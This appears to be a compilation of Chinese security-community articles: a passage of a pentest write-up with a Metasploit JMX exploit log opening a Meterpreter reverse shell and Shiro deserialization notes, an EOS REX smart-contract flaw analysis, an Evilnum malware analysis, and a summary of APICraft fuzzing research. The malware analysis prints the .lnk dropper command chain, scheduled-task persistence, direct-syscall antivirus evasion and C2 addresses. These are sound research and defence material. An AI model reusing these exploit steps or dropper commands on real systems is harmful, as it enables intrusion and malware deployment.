JMX_PASSWORD no The password to interact with an authenticated JMX endpoint
JMX_ROLE no The role to interact with an authenticated JMX endpoint
RHOSTS a.a.a.a yes The target address range or CIDR identifier
RPORT 18983 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ---- 0 Generic (Java Payload)
msf5 exploit(multi/misc/java_jmx_server) > set LHOST b.b.b.b
LHOST => b.b.b.b
msf5 exploit(multi/misc/java_jmx_server) > run
[*] Started reverse TCP handler on b.b.b.b:4444
[*] a.a.a.a:18983 - Using URL: http://b.b.b.b:8080/OcbYS8uaTPDH
[*] a.a.a.a:18983 - Sending RMI Header...
[*] a.a.a.a:18983 - Discovering the JMXRMI endpoint...
[+] a.a.a.a:18983 - JMXRMI endpoint on a.a.a.a:18983
[*] a.a.a.a:18983 - Proceeding with handshake...
[+] a.a.a.a:18983 - Handshake with JMX MBean server on a.a.a.a:18983
[*] a.a.a.a:18983 - Loading payload...
[*] a.a.a.a:18983 - Replied to request for mlet
[*] a.a.a.a:18983 - Replied to request for payload JAR
[*] a.a.a.a:18983 - Executing payload...
[*] a.a.a.a:18983 - Replied to request for payload JAR
[*] Sending stage (53867 bytes) to a.a.a.a
[*] Meterpreter session 1 opened (a.a.a.a:4444 -> b.b.b.b:46582) at 2019-11-21 15:24:53 +0000
meterpreter >
### 3.3 Apache Shiro
#### Shiro RememberMe 1.2.4 反序列化命令执行漏洞
影响版本：Apache Shiro <= 1.2.4
shiro为java安全框架，执行身份验证、授权、密码和会话管理。
Shiro提供了记住我（RememberMe）的功能，关闭了浏览器下次再打开时还是能记住你是谁，下次访问时无需再登录即可访问。
AES加密的密钥Key被硬编码在代码里，意味着每个人通过源代码都能拿到AES加密的密钥。因此，攻击者构造一个恶意的对象，并且对其序列化，AES加密，base64编码后，作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化，最终造成反序列化漏洞。
##### 检测是否使用shrio
观察登录时，响应包是否存在rememberMe标记，或修改登陆包，在Cookie中rememberMe=deleteMe，同样观察回包是否存在rememberMe标记。
可使用burpsuite自定义特征对流量进行检测、分析。
攻击：
dnslog收到请求：
漏洞利用工具：
`https://github.com/kat110/Pentest/tree/master/shiro_rce`
### 4.了解当前Apache服务器的运行权限
通常了解Apache服务的运行权限可以很好的帮助我们进行权限控制。
Linux下使用lsof -i:80查看Apache进程账户权限。
由于在Linux系统中小于1024端口都需要root权限，所以第一行为Linux系统的主进程为root权限。
其他为Apache主程序的子进程为默认www-data权限。
若系统使用为高权限账户可以修改Apache配置文件。
在`/etc/apache2/apache2.conf`看到提示用户和用户组设置在`/etc/apache2/envvars/`文件。 | 社区文章 |
# EOS REX 安全系列之从源码开始玩转 REX（二）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上一篇文章粗略分析了整个买卖 rex 的流程，由于篇幅的原因，剩下有一些细节没有分析到位。所以，这篇文章将在上一篇文章的基础上对一些细节进行深入的分析。
## 前情回顾
上一篇介绍了买卖 rex 的流程，涉及到了几个函数，我们一起回顾下：
1、deposit：用于充值，将 EOS 变成 SEOS，也叫预备金。
2、withdraw：用于提现，将 SEOS 换回 EOS。
3、buyrex：用于从用户的预备金中扣除相应的份额，并用于 rex 的购买。
4、sellrex：用于卖出已经结束锁定的 rex，并将本金连带收益一起放进用户的预备金账户中。
5、add_to_rex_pool：用于将用户购买的 rex 放进 rex_pool 中，并根据 rex_pool 中的相关信息计算出用户能够购买的 rex
的数量，被 buyrex 函数调用。
6、fill_rex_order：处理用户卖单，计算收益。
以上几个函数除了 sell_rex 和 fill_rex_order 其他函数都介绍得差不多了，本文将重点介绍这两个函数的细节。
## sellrex 函数
void system_contract::sellrex( const name& from, const asset& rex )
{
require_auth( from );
runrex(2);
auto bitr = _rexbalance.require_find( from.value, "user must first buyrex" );
check( rex.amount > 0 && rex.symbol == bitr->rex_balance.symbol,
"asset must be a positive amount of (REX, 4)" );
process_rex_maturities( bitr ); ///先收获成熟的rex
check( rex.amount <= bitr->matured_rex, "insufficient available rex" );///只能卖成熟的rex
auto current_order = fill_rex_order( bitr, rex );///拿到出租EOS得到的分红
asset pending_sell_order = update_rex_account( from, current_order.proceeds, current_order.stake_change );
//订单状态不成功
if ( !current_order.success ) {
/**
* REX order couldn't be filled and is added to queue.
* If account already has an open order, requested rex is added to existing order.
*/
auto oitr = _rexorders.find( from.value );
if ( oitr == _rexorders.end() ) {
oitr = _rexorders.emplace( from, [&]( auto& order ) {
order.owner = from;
order.rex_requested = rex;
order.is_open = true;
order.proceeds = asset( 0, core_symbol() );
order.stake_change = asset( 0, core_symbol() );
order.order_time = current_time_point();
});
} else {
_rexorders.modify( oitr, same_payer, [&]( auto& order ) {
order.rex_requested.amount += rex.amount;
});
}
pending_sell_order.amount = oitr->rex_requested.amount;
}
check( pending_sell_order.amount <= bitr->matured_rex, "insufficient funds for current and scheduled orders" );
// dummy action added so that sell order proceeds show up in action trace
if ( current_order.success ) {
dispatch_inline( null_account, "sellresult"_n, { }, std::make_tuple( current_order.proceeds ) );
}
}
以上为 sellrex 函数的具体实现，从开头开始一步一步进行分析。首先抛开 runrex 这个函数，这个函数并不属于本次讨论的范围，runrex
函数主要用于处理 rex_pool 的信息，包括处理到期的资源租赁订单，回收用户资源，处理用户的 rex
卖单等，有兴趣的同学可以先自行研究，以后的文章也会进行单独的分析。
接上篇分析，sellrex 函数我们分析到了 fill_rex_order 函数就没有继续往下分析了，fill_rex_order
函数也只是讲了最核心的收益公式，这次我们来仔细进行分析。sellrex 流程如下：
1、经过了一系列的检查之后，获取用于已经解锁的 rex 的数量，调用 fill_rex_order 获取用户的卖单。
2、卖单携带着订单的完成状态，这是一个 flag，分为成功和失败两种状态，当状态为失败的时候，进入上文的 if 条件。
2.1、订单状态成功
订单状态成功的时候 current_order.proceed 的值大于 0，这个时候通过 update_rex_account 将卖 rex
的所得转至用户的储备金账户。用户就可以直接进行提现或者继续下一轮的购买了。
2.2、订单状态为失败
这个时候创建一个 order，我们这里为了不混淆，不说卖单，而是说为欠条，是一个 REX
平台给你的借条。什么意思呢？打个比方，你去商店订购商品，商品存货不足，这时候怎么办呢？这时候商店就会给你打一个单，这个单记录了你是谁，你要买多少的商品，买的时间等信息，等有货了就会根据这个单给你补上商品。REX
也是同样的道理，用户在卖 rex 的时候，由于 rex_pool 中的资金不足以支付用户的本金 + 收益，就会将用户的订单暂时挂起。这就是 REX
给你打的欠条，当 REX 资金充足的时候，就会把钱还你。当 sellrex 失败的时候，这个借条记录了以下信息:
（1）卖 rex 的用户。
（2）要卖的 rex 的数量(记录在 rex_requested 字段中)。
（3）用户的收益，此时为 0，因为 rex 没有卖出去，收益是不存在的。
（4）抵押状态，这个抵押状态是由于 buyrex 的时候，根据购买的数量会产生的相应的票权。
（5）这个欠条创建的时间。
3、最后，检查挂起的金额有没有超过已经解锁的 rex 的数量。
以上就把 sellrex 完整的讲完了，但是还有一个疑问，就是为什么会存在资金不足的情况，以及如何判定资金不足？这些秘密都在 fill_rex_order
里面。下面就详细的分析 fill_rex_order 函数。
rex_order_outcome system_contract::fill_rex_order( const rex_balance_table::const_iterator& bitr, const asset& rex )
{
auto rexitr = _rexpool.begin();
const int64_t S0 = rexitr->total_lendable.amount;
const int64_t R0 = rexitr->total_rex.amount;
const int64_t p = (uint128_t(rex.amount) * S0) / R0; ///越多人借用资源收益越高
const int64_t R1 = R0 - rex.amount; ///更新rex pool中rex的数量
const int64_t S1 = S0 - p; ///更新rex pool中EOS的数量
asset proceeds( p, core_symbol() ); ///获得的收益
asset stake_change( 0, core_symbol() );
bool success = false; ///默认订单完成状态为0
check( proceeds.amount > 0, "proceeds are negligible" );
const int64_t unlent_lower_bound = rexitr->total_lent.amount;
//计算能未质押的rex pool中的EOS的数量，用于接下来观察是否足够支付用户产生的rex利润
const int64_t available_unlent = rexitr->total_unlent.amount - unlent_lower_bound; // available_unlent <= 0 is possible
//rexpool中的钱足够支付rex利润
if ( proceeds.amount <= available_unlent ) {
const int64_t init_vote_stake_amount = bitr->vote_stake.amount;
const int64_t current_stake_value = ( uint128_t(bitr->rex_balance.amount) * S0 ) / R0;
_rexpool.modify( rexitr, same_payer, [&]( auto& rt ) {
rt.total_rex.amount = R1;///更新rex pool中的rex的数量
rt.total_lendable.amount = S1; ///更新lenableEOS数量
rt.total_unlent.amount = rt.total_lendable.amount - rt.total_lent.amount; ///减少unlent数据
});
//对用户的rexbalance账户进行操作
_rexbalance.modify( bitr, same_payer, [&]( auto& rb ) {
rb.vote_stake.amount = current_stake_value - proceeds.amount;
rb.rex_balance.amount -= rex.amount;
rb.matured_rex -= rex.amount; ///减少已经成熟的rex的数量
});
stake_change.amount = bitr->vote_stake.amount - init_vote_stake_amount;
success = true;
///不够钱支付的情况
} else {
proceeds.amount = 0;
}
return { success, proceeds, stake_change };
}
上一篇文章我们分析了核心的收益公式是怎么计算出来的。这次从11行开始，看看这个函数做了什么：
1、首先获取 unlent_lower_bound 的值，即最低未出租 rex_pool 中的 EOS 的数量。这个字段等于用户从 rex_pool
中借用资源的总量，是以 EOS 为单位的。
2、计算 available_unlent
的值，这个值有可能为负数，为什么呢？假设一个场景，你是一个投资经理，你手上有很多投资人的钱，然后你把投资人的钱拿出去放贷收取利息，那么请问，这个时候你手上的资金还有多少？答案自然是：投资人的钱
– 放贷资金 + 放贷收益。REX 相当于这个投资经理，用户可以用少量的成本(EOS)换取大量的贷款(资源)，这个时候，REX
的资金池中的资金就就变成了：用户的资金 – 租用的金额 + 租用收益。根据前面的描述，用于租用资源的资金总是小于 REX 平台出租出去的资金，也就是说
在持续出租资源的时候，rex_pool 中的资金总是不断变少的(这里不讨论系统收益的情况)。想清楚这一点，就能明白为什么 available_unlent
的值为负数了，当出租出去的资金大于 rex_pool 中当前资金 + 收益的时候，这个值就会为负数。
3、判断用户出售的 rex 获得的收益是否小于 rex_pool 中的剩余资金，相当于投资人想要回自己的钱，这个时候分两种情况：
3.1、如果资金不够，那么这个订单就会挂起，此时由 sellrex 函数创建一个欠条，这就是订单失败的由来。
3.2、如果够的话，则从 rex_pool 资金池中减去用户收回的资金，更新相关的表字段，更新用户的 rex_balance 账户，扣除相应的 rex
解锁金额。
那么到这里，整个 sellrex 的流程都讲清楚了，流程图是这样子的：
## 安全性分析
由于本次没有拓展新的函数，所以安全结论是和上篇是一样的，但是这次我们可以对上次说的安全问题有更深的了解。在原先版本的 rex 合约中，是没有 check(
pending_sell_order.amount <= bitr->matured_rex, “insufficient funds for
current and scheduled orders” ) 这一个校验的，这会导致什么呢？我们知道，当资金池中的资金不足以支付用于的卖单的时候，将跳过
if 判断下的所有步骤，直接由 sellrex 函数挂起订单，在这种情况下，恶意用户在系统资金池资金不足的时候，就可以一直卖 rex，叠加挂起订单的 rex
金额，直到资金池有足够的资金支付，出售比购买 rex 数量更多的 rex。但是这样操作还是会卖不出去，因为最后更改用户 rex_balance 的时候由于
asset 结构体自带的溢出检测，是不能成功卖出去的。但是这就会让这个订单成为一笔坏账，在这种情况下，因为有未完成的 sellrex order，整个
REX 系统将停止运行。具体原因是什么可以自己去发现，答案会在下一篇文章揭晓。
文章可能有说得不对或说得不够好的地方，欢迎讨论交流。
详情参考：
<https://eosauthority.com/blog/REX_progress_with_testing_and_implementation_details>
## 往期文章
EOS REX 安全系列之从源码开始玩转 REX(一)
<https://mp.weixin.qq.com/s/jCWFbjphB6lRE55ANxpBsA>
## 声明
本文仅用作技术参考，不构成任何投资建议。投资者应在充分了解相关风险的基础上进行理性投资。 | 社区文章 |
**作者:Yenn_
原文链接: <https://0xdf1001f.github.io/2020/12/23/Evilnum/>**
# JointAccountDCS.pdf.lnk
## 基本信息
File Name | File Size | File Type | MD5
---|---|---|---
JointAccountDCS.pdf.lnk | 1,269,749 Byte | | 48cf7f7b4180b1c4fb3ac3e149917130
## 动态行为
运行后在桌面创建了pdf文档并弹出了pdf阅读器打开文档
[
样本为.LNK文件，调用CMD执行释放出的js
[
## 样本分析
### JointAccountDCS.pdf.lnk
样本为.LNK文件，命令行：
C:\Windows\System32\cmd.exe /c path=%windir%\system32&move "JointAccountDCS.pdf.lnk " "%tmp%\1.lnk"&type "%tmp%\1.lnk"|find "END2">"%tmp%\0.js"&wscript "%tmp%\0.js"
将自身移动到%temp%目录下，通过标志“END2”释放出js代码，调用Wscript执行js代码
[
[
从base64解码出“ddpp.exe”
判断当前运行的脚本路径是否为“C:\Users\sam\AppData\Local\Microsoft\Credentials\MediaPlayer\VideoManager\media.js”
[
当脚本路径不为上述时，先从文件中取出PDF文件并释放执行
[
创建文件夹””C:\Users\sam\AppData\Local\Microsoft\Credentials\MediaPlayer\VideoManager””
[
将前面释放出的0.js拷贝到C:\Users\sam\AppData\Local\Microsoft\Credentials\MediaPlayer\VideoManager\media.js
[
拷贝后，将原来的%temp%\0.js删除并执行拷贝后的.js文件
[
运行后删除掉先创建的文件夹C:\Users\sam\AppData\Local\Microsoft\Credentials\MediaPlayer\VideoManager，释放ddpp.exe到C:\Users\sam\AppData\Local\Microsoft\Credentials\MediaPlayer下
[
创建计划任务执行释放出的ddpp.exe，参数:”QjY2MDBGMTQtNDU0Ni1BMjdELTUxQzEtOUIwMzQ3RTZFMjgw”
“NjQyNjcz” 0
[
删除移动后的1.lnk
[
### ddpp.exe
载入IDA时，PDB路径看起来很像一个正常的java程序，PDB路径：
[
通过GetCommandLineh获取命令行，进行反调试，样本通过判断命令行长度是否为0x22，检测是否正常按照计划任务带有参数执行，不是则退出
[
利用GetFileAttributes查询判断SysWOW64下的Kernel32.dll是否存在，判断系统操作位数
[
获取当前系统版本
[
通过GetTickCount - Sleep - GetTickCount反调试
样本直接利用SSDT索引号通过sysenter调用内核函数，不经过NTDLL的调用
通过SSDT索引号0xb3取NtOpenFile函数，再通过Sysenter进入ring0直接调用
[
Windbg中NtOpenFile的索引:
[
调用ZwReadFile读取文件自身
[
从自身偏移13E07D0处开始读取，读取5E8B字节大小内容并对读取的内容进行解密并通过ZwAllocateVirtualMemory分配内存
将解密修复后的代码拷贝到申请的内存空间中，调用ZwCreateThreadEx执行函数，在新线程内通过call [eax]跳转到解密后的代码执行
[
从代码中解密出Http请求相关字符串，包括User-Agent、http://corpxtech.com/c?v=4&u=、GET等
[
[
动态获取API地址
[
创建互斥体 “Global\wU3aqu1t2y8uN”
利用运行的命令行参数组成完整的url:”[http://quotingtrx.com/c?v=4&u=QjY2MDBGMTQtNDU0Ni1BMjdELTUxQzEtOUIwMzQ3RTZFMjgw&a=NjQyNjcz&c=0](http://quotingtrx.com/c?v=4&u=QjY2MDBGMTQtNDU0Ni1BMjdELTUxQzEtOUIwMzQ3RTZFMjgw&a=NjQyNjcz&c=0)"
其中参数V=4疑似为版本号v4
[
准备向C2服务器发送GET请求
[
# CopyIdentityLicense.jpg.lnk
## 基本信息
File Name | File Size | File Type | MD5
---|---|---|---
CopyIdentityLicense.jpg.lnk | 617,271 Byte | |
d1f069c6021aba84d1fa010295312315
最近上传到VT的Evilnum样本
[
### CopyIdentityLicense.jpg.lnk
样本是一个.jpg.lnk文件，运行后会打开同目录下另一个.jpg文件，这次的.lnk执行的命令行代码进行了混淆，不过分析后大致流程还是相似，通过Magic
Word“VER1”去.lnk文件中遍历出js代码并释放到%temp%\wct7ZD7ASHB.dat并调用Cscript运行这个释放出的文件，文件实际上为一个.js文件
[
提取出的部分JS代码
[
.js恶意文件会将自己移动到C:\Users\sam\AppData\Local\Microsoft\Windows\ConnectedSearches\Templates目录下并重新运行，功能为释放出一个PE文件并创建计划任务实现持久化
释放出文件C:\Users\sam\AppData\Local\Microsoft\Windows\ConnectedSearches\main.exe，并为其创建计划任务每3小时执行一次
[
这里与前面版本不同，V4版本直接创建计划任务执行最终阶段，而这一次计划任务的内容并不是最终阶段的载荷
计划任务执行的exe是一个SFX自解压，压缩包有密码保护，可以用计划任务中的参数将其解压出来，其中包含了两个文件，运行的是RdrCER.exe
[
### RdrCER.exe
通过计划任务执行时带有参数
"C:\Users\sam\RdrCER.exe" "RjlDMTBGMTQtQzhBRS0yQjE0LUEwODItRUMxMTg1MDA3NjM2" "devDISMWKI.tmp" "NTY5MTY5" "Ni4xLjc2MDE%3D" 0 "65C36820" "Nzc3NDU2YH55GWYDeGR2YgV8BXtyaEZXWg%3D%3D" 0
样本尽力伪装为谷歌的套件
[
接下来部分与前样本流程类似，也是通过SSDT索引号调用内核函数，解密代码，新线程中跳转执行
## IOC
C2 :
[http://corpxtech.com](http://corpxtech.com/)
[http://quotingtrx.com](http://quotingtrx.com/)
[http://msftld.com](http://msftld.com/)
[http://apple-cdrp.com](http://apple-cdrp.com/)
## 总结
1.样本直接调用Sysenter进入内核，通过mov
eax赋值SSDT索引号，通过SSDT索引号直接进入内核，这样不会调用NTDLL中的函数，可以有效绕过部分杀软在内核函数的HOOK
2.样本解密出了字符串”\??\“，在内核中打开文件时需要在路径最前加上”\??\“
3.SSDT索引号在32位下在NTDLL函数的偏移1字节处，在64位下在偏移4字节处
4.调用sysenter时，EAX为SSDT索引号，函数的参数在堆栈ESP+8处，ESP为KiFastSystemCall的返回地址，ESP+4为调用的内核函数的返回地址，ESP+8开始为函数的参数（当EIP指向sysenter时）
* * * | 社区文章 |
**作者：蚂蚁安全实验室
原文链接：<https://mp.weixin.qq.com/s/CTCGt4GwlIB63lMkAucunA>**
近日， **蚂蚁集团与南洋理工大学、中国科技大学联合论文《APICRAFT: Fuzz Driver Generation for Closed-source SDK Libraries》入选网络安全领域四大顶会之一USENIX Security 2021** 。
在黑盒的自动化漏洞挖掘过程中，闭源SDK库缺失源代码、API接口未知，而逆向成本高、效果差等问题，常常困扰安全研究者。
基于遗传算法，研究团队的APICraft 框架技术能对闭源SDK的API依赖关系进行最大程度的挖掘和还原，很好地解决了闭源SDK库的fuzz
driver自动化生成难题，从而实现在0人工干预下挖掘漏洞。
通过运用这项技术方案，截止2021年2月，蚂蚁安全光年实验室已向Apple提交142个macOS系统库漏洞，并已收获54个Apple官方致谢。
**蚂蚁光年安全实验室林性伟也因此获得安全届的奥斯卡大奖—2021年Pwnie Award “Most Innovative Research”奖提**
**名。**
以下是他的技术分享
## 01 背景
在fuzzing过程中，安全研究员需要构建好一个应用程序用来接收fuzzer提供的fuzz input，这个应用程序我们称之为fuzz
driver。过往的fuzzing相关研究大多针对于fuzzing引擎本身的优化提升，包括种子变异策略以及调度算法的优化，增加多维度的反馈，以及提升fuzzer速度等，这些研究已经将fuzzing研究变为红海，极其“内卷”。
而我们关注到，如何自动化地构建一个高质量的fuzz driver其实是一个同样关键的问题。直观来看，如果一个fuzz
driver能够调用更多SDK提供的API，有更丰富的程序行为，那它在fuzzing过程中必然会有更高的覆盖率，从而更容易触发漏洞。因此如何生成高质量的fuzz
driver是个值得深究的研究问题。
这篇文章主要解决了如何针对闭源SDK自动化生成高质量的fuzz driver问题。
### 1.1 实例
图 1：基于 CoreText库的两个 fuzz driver
图1是一个构建fuzz driver的例子，以macOS CoreText库为例，图1有两个fuzz drivers，分别是Consumer
1以及Consumer 2，将具体API简化，以伪代码形式来表现（ **下面的序号标识了每个API调用，与图1相对应** ）：
1.Consumer 1调用ProviderCreateWithData API创建了一个DataProvider对象prov；
2.基于prov对象创建了Font对象font；
3.最后计算出font对象的LeadingSpace的double值。
4.而Consumer 2调用CreateFontDescriptor API创建了FontDescriptor对象desc；
5.再基于desc对象创建Font对象font；
6.最后计算font对象的LeadingSpace值。
图 2：不同的fuzz driver组合方式
图2是简化出来的API调用序列。(a)是原始的调用序列，(b)是我们将Consumer 1与Consumer 2进行了一个交叉变换，将Consumer
1的序列号1调用与Consumer 2的序列号4调用交换，但我们会发现，这个交叉变换并没有用。因为1与4的调换，只是改变了从raw
data创建font对象的方式，并没有改变后续API调用的语义，后续的2->5，2->3都是没有变化的。所以我们其实是想要
(c)这种的组合，将3调用与5调用组合在一起。并且可能由于调用时序的不同会有意想不到的结果。比如先调用3计算LeadingSpace的double值，再调用5计算LeadingSpace可能会导致整数溢出漏洞。
从这个例子来看单纯依赖人工进行fuzz driver 构建耗费时间且容易出（error-prone）。需要一个自动化的框架来辅助完成这个fuzz
driver构建过程。
## 02 系统总览
图 3：APICraft系统总览
我们设计并实现了APICraft系统用于针对闭源SDK fuzz
driver自动化生成工作。图3是整体的系统框架总览。APICraft整体设计思路可以概括为Collect-Combine。
1. **Collect** ：APICraft会对使用相关SDK的GUI应用程序进行动态trace，用于收集GUI应用程序的动态行为信息，包括GUI应用程序调用SDK API的data dependency以及control dependency等。
2. **Combine** ：随后将这些dependency解析好之后进行多目标优化的遗传算法（Multi-Objective genetic algorithm）的变异进化。产生合乎我们要求的fuzz driver。
## 03 框架设计
框架设计章节将详细介绍APICraft框架的设计与实现细节。
### 3.1 API Function Dependency信息收集
首先是如何收集（Collect）API function dependency信息。APICraft最终目标是想自动化的完成fuzz driver
构建过程，而人工构建fuzz driver最核心的部分基于SDK提供的API构建API调用序列，API调用序列包含了data
dependency以及control dependency。APICraft需要收集data dependency以及control
dependency信息，用于作为后续的多目标遗传算法的变异进化的基因/染色体。
#### 3.1.1 Data Dependency
##### 3.1.1.1 定义
图 4：Data Dependency定义
在data dependency中，APICraft定义两个函数A与B有data
dependency的关系在于，函数A的某个输入参数是函数B的输出参数/返回值，或者函数B的某个输入参数是函数A的输出参数/返回值。如果函数A与B存在data
dependency，以图4的公式来表征，即函数A的输出参数/返回值会被用作函数B的输入参数。
APICraft定义了两类的API Data Dependency：
1. **return value** ：函数A的返回值（return value）被用做函数B的输入参数；
2. **output parameter** ：函数A的输出参数（output paramater，一般是以指针形式存在）被用做函数B的输入参数。
如果两个API函数满足data dependency关系，那这两个API函数就有时序调用关系。
##### 3.1.1.2 解析
图 5：APICraft实现框架图
当APICraft收集完程序动态行为信息后，需要将信息解析成相应的data dependency。具体的解析步骤是：
1. 由图5所示，在预处理阶段，APICraft会通过SDK提供的头文件解析出每个API的参数与返回值的类型信息；
2. 而参数与返回值的值是由动态获取到的， **APICraft基于function interposition机制实现了一套轻量级的动态trace框架** ，基于该trace框架，APICraft能够获取到动态运行过程中API函数进入前以及退出之后的参数与返回值信息，具体包括了thread id，nested level，以及会递归的将函数的参数值，返回值，输出参数值dump出来；
3. APICraft基于thread id来将不同线程的trace信息区分开；
4. APICraft会筛掉nested level大于1的API。APICraft针对的API函数都是SDK头文件里面提供的合法调用API。在动态trace过程，如果某个API不是由其他API所调用，即由我们的GUI应用所调用，他的nested level就是1，如果该API是在另外的API所调用的，那他的nested level就是2，以此类推。在fuzz driver生成的应用场景中，我们关注的是API函数如何正确地被GUI应用所调用，而不关注API内部调用的逻辑。APICraft需要演化学习的是GUI应用程序的程序行为逻辑，因此不关注SDK库内部调用的逻辑；
5. 区分输出参数：如果一个参数类型是指针，APICraft会监控该指针指向的内容在进API函数前，以及退出API函数之后是否有变化，如果有的话，则该参数会被判别为输出参数；
6. 结合类型（type）信息以及值（value）信息进行data dependency匹配：APICraft认为即使在类型信息一致的情况下，两个值为0的比对是不匹配的，因为值为0基本无意义。随后APICraft会将typedef给展开，如果类型不一致，APICraft会看两个比对对象的类型信息是否能够转换，如果（1） 两个比对对象的基本类型是一致的，只是修饰符不一样，比如const这种修饰词；（2）如果是指针类型的话，并且两者指针大小一致，或者对象之一指针是 _void_ 类型的。上述情形都是可转换的，两个对象可被匹配上。
图 6：Data Dependency解析算法
图6所示算法是APICraft Data Dependency解析算法，输入T是收集到的API函数的调用序列信息，输出R是解析完的data
dependency的集合。
1.初始化阶段，R以及cache都将初始化为空；
2.算法会遍历每个函数A，在第8?中，算法会将output值不为0的函数加入cache中，cache是个字典类型，key为output的值，value为函数A的
output实例；
3.在第4行中，算法会遍历函数的每个输入参数（input
parameter），用输入参数的值（value）当作key从cache中取出相应的函数的output，看看是否有函数的输入参数与另外函数的output类型与值匹配上的。如果有的话就加到集合R中。
##### 3.1.1.3 Dependency推测
除了通过动态trace收集到的API data dependency关系，有些合理的API data
dependency关系并不会被trace到（GUI应用程序没有相应的
API调用组合）。APICraft还会做dependency推测（inference）这一步。APICraft定义了三个推测规则：
1. **R1: Dependency-based transition** ：如果函数A的output与函数C的输入参数相匹配，并且函数B的output与函数C的输入参数相匹配，以及又trace到，函数A的output与函数D的输入参数相匹配， APICraft会推断出，函数B的output跟函数D的输入参数能够相匹配并产生一组data dependency关系；
图 7：R1推测公式
2. **R2: Type-based transition** ：当APICraft观察到函数A的output的类型信息与函数B的输入参数类型信息一致，这个时候APICraft会做个推测，因为这个没有值（value）信息，所以是个推测，推测出函数A的 output是函数B的输入参数；
图 8：R2推测公式
3. **R3: Inter-thread data flow dependency** ：R3与图6的算法是一致的，只不过在这个规则下，会限定类型是指针，一般跨线程之间会传递指针，需要减少误报。
#### 3.1.2 Control Dependency
APICraft收集到的Control Dependency主要是用来解决error code checking的：
1.API函数的输出参数（output parameter）或者返回值（return value）是指针类型，将对这个output值 进行非空判断（null
check）；
2.API函数的输出参数（output parameter）或者返回值（return value）是整数类型，并且是个status
code的话，将进行动态污点分析来获取error code
checking分支的表达式。（1）获取这个API函数的调用处（callsite）；（2）通过静态分析找到一些error code
checking的系统调用，比如exit，abort 等。这些basic
block会被标记为checkpoint。（3）最后从调用处（callsite）开始进行taint
analysis，因为正常的GUI应用程序会走正常分支，当走到checkpoint相应分支的时候将表达式取反，
让污点分析传播到checkpoint处。拿到对应的表达式。
### 3.2 Dependency Combination
APICraft将收集并解析完成的data dependency以及control
denpendency进行Combination，再通过多目标优化遗传算法进行变异演化。
#### 3.2.1 问题建模
APICraft将fuzz driver生成问题抽象成一个数学问题，利用多目标优化遗传算法（Multi-Objective Genetic
Algorithm）进行求解。
具体而言，以GUI应用程序（调用相应 SDK提供的 API）的API函数使用方式为初始种群，对这些种群进行变异演化生成fuzz
driver，通过判断生成的fuzz driver的优劣，将优越fuzz driver保留下来继续变异，最后生成满足要求的fuzz driver
用于fuzzing。我们认为 **一个高质量的fuzz driver需要满足三个目标** ：
1. **多样性（Diversity）** ：多样性（Diversity）指的是fuzz driver能够调用足够多样的API使fuzz driver程序行为更丰富。即为了让生成出来的fuzz driver有更多不同的data dependencies，如果data dependencies能够组成loop，每条loop都会给这个目标加分数。图9所示的多样性（Diversity）的公式是生成的fuzz driver的有向多边图的边（即单个data dependency）的数量，加上这个图的圈复杂度。总体是要表征data dependency图（或者说fuzz driver的API调用）的多样性。
图 9：Diversity公式
2. **有效性（Effectiveness）** ：有效性（Effectiveness）是这三个指标中的唯一一个需要动态反馈信息的指标，其目标是要让生成的fuzz driver的API调用更合法有效。我们会给basic blocks中有调用其他函数的，以及这个basic block处于loop循环中的更多分数，因为我们觉得相对于核心代码而言error handling code在一个API函数中会执行更少的basic blocks，而核心代码会有更多的loop信息或者其 他函数调用。该指标是个动态的feedback，是需要将fuzz driver序列化成代码编译运行后得来的，我们对每个basic block评分（如图10所示）：（1）调用其余函数以及处于loop循环中，评分3分；（2）调用其余函数或者处于loop循环中，2分；（3）两者均无则1分。
图 10：Effectiveness公式
3. **紧凑性（Compactness）** ：core dependency指的是从接收input file的API函数为起点，以此为根结点的展开的data dependency图。non-core dependency就是与这颗树无关的data dependency。F是core function（处于 core dependency中的函数）集合，f是集合里面的每个函数，If是每个函数的参数集合。k是每个input参数的无关函数数量，5是个经验值（即如果无关函数数量超过5，则该紧凑性（Compactness）指标得分为0）。
紧凑性（Compactness）指标目的是为了让fuzz driver去除冗余API调用，冗余API调用就是跟以接收input file
API为起点的data dependency 图无关的API调用，即存在于non-core dependency图中的API调用。所以在core
dependency的data dependency分数会高，non-core dependency中的data
dependency分数会低。图11是Compactness的具体公式。
图 11：Compactness公式
#### 3.2.2 多目标优化遗传算法（Multi-Objective Genetic Algorithm）
APICraft采用了NSGA-II算法来对Diversity、Effectiveness、Compactness这三个目标进行多目标优化的遗传算法演进。
图12是整体的APICraft的多目标优化遗传算法，输入data dependency集合，输出是一系列的fuzz driver集合：
1. 25-31行即传统的遗传算法，先生成初始的种子集，选取初始种子集，然后开始变异，再选择存活下来的个体，继续变异，往复。直到到了我们限定的变异轮数。28行进行变异，29行选取最优个体；
2. 17-23行选取两个种?进?交叉变异；
3. 11-16行对交叉变异后的种?进行多目标优化的评分计算，然后筛出最优个体。12行计算目标评分，13行进行非支配排序算法，进行分层。14行计算拥挤度与拥挤度比较算子。15行筛选出来最优个体；
4. 1-10行就是对个体先进行序列化后，计算三个目标的分值。
图 12：APICraft的多目标优化遗传算法
## 04 实现
APICraft工程实现中核心之一是动态trace功能，动态trace是为了获取API函数的参数以及返回值。如图13所示，在hook中有两种机制：
1.Type-I需要两个hook点，函数的enter point以及exit point，enter point容易分析，但函数的exit
point无法准确判断，因为一个函数可能会有多个exit点，单纯通过判断ret指令是无法精确判断exit点的，特别是当二进制程序被高度编译优化过。错误的exit点的hook机制会导致后续收集的nested
level等信息都有误；
2.Type-II则没有这个问题，基于interposition的机制是中间有个媒介层在进行函数前接管，在退出函数之后也接管。我们就能准确拿到参数值以及返回值。Interposition机制的核心是会有一个跟被hook函数相同函数签名的替换函数，然后基于这个替换函数接管原函数的信息之后再调用原函数。在macOS上
APICraft用DYLD_PRELOAD跟DYLD_INTERPOSE机制来实现，在Windows上我们用的是detour来实现。
图 13：两种 hook机制
## 05 实验结果
### 5.1 多目标优化遗传算法
